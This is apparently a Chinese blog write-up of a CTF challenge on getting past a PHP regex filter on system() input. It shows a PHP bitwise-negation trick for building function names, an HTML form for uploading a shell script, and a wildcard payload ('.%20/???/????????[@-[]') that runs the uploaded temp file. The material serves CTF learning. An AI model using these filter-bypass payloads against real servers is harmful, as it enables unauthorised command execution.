命令执行 - 突破shell命令的过滤限制

在PHP7下面,允许我们使用($a)();这样的方法来执行动态函数,因此在左边括号里可以替换我们的函数名

关于不可见字符的利用,存在一些无法在浏览器和页面正常显示的字符,能够拿来取反得到正常的[a-Z]的字母

<?php
echo urldecode('%8F%97%8F%96%91%99%90');
echo "\n";
echo ~(urldecode('%8F%97%8F%96%91%99%90'));
echo "\n";
echo urlencode(~('phpinfo'));
?>

 

如何利用无字母、数字、$的系统命令来组成命令,突破过滤,这里参考了P神的博客:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

以及另外一个大佬的博客:https://www.cnblogs.com/NPFS/p/13797436.html

shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径

由于题目不能直接POST文件,需要我们自己编写一个可以POST php文件的网页,参考大佬:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST文件上传</title>
</head>
<body>
<form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

在编写PHP文件前,我们要了解shell文件的结构

参考:https://blog.csdn.net/qq_36501591/article/details/87363747

#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径

一个shell脚本大致这样写,命令写第二行:

#!/bin/sh
ls

 文件后缀名.php

如何利用上传的文件执行命令,首先上传的文件会被保存在一个临时文件中

其次我们可以用通配符来猜测(匹配)这个临时文件夹的名称,使用?是最有效的。

还有临时文件肯定不止我们上传的这一个,我们要精确找到该文件就需要了解上次的文件,是保存在结尾有大写字母的临时文件里面,且唯一

思路想明白以后,就能构造正确的payload

如果想执行文件,通过GET或者POST传的参数部分就需要按以下格式:

. file

注意存在空格,意思是使用bash命令执行file文件中的命令

因此大佬构造了payload

.%20/???/????????[@-[]

传参以后能够执行我们上传的shell脚本,有时候也存在生成临时文件不是大写字母结尾的情况,需要多试几次

 

例题:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

提前开启BP拦截包,改包后send,文件上传的同一时刻执行ls命令

同理得到flag

posted @ 2020-11-01 19:18  ch0bits  阅读(679)  评论(0编辑  收藏  举报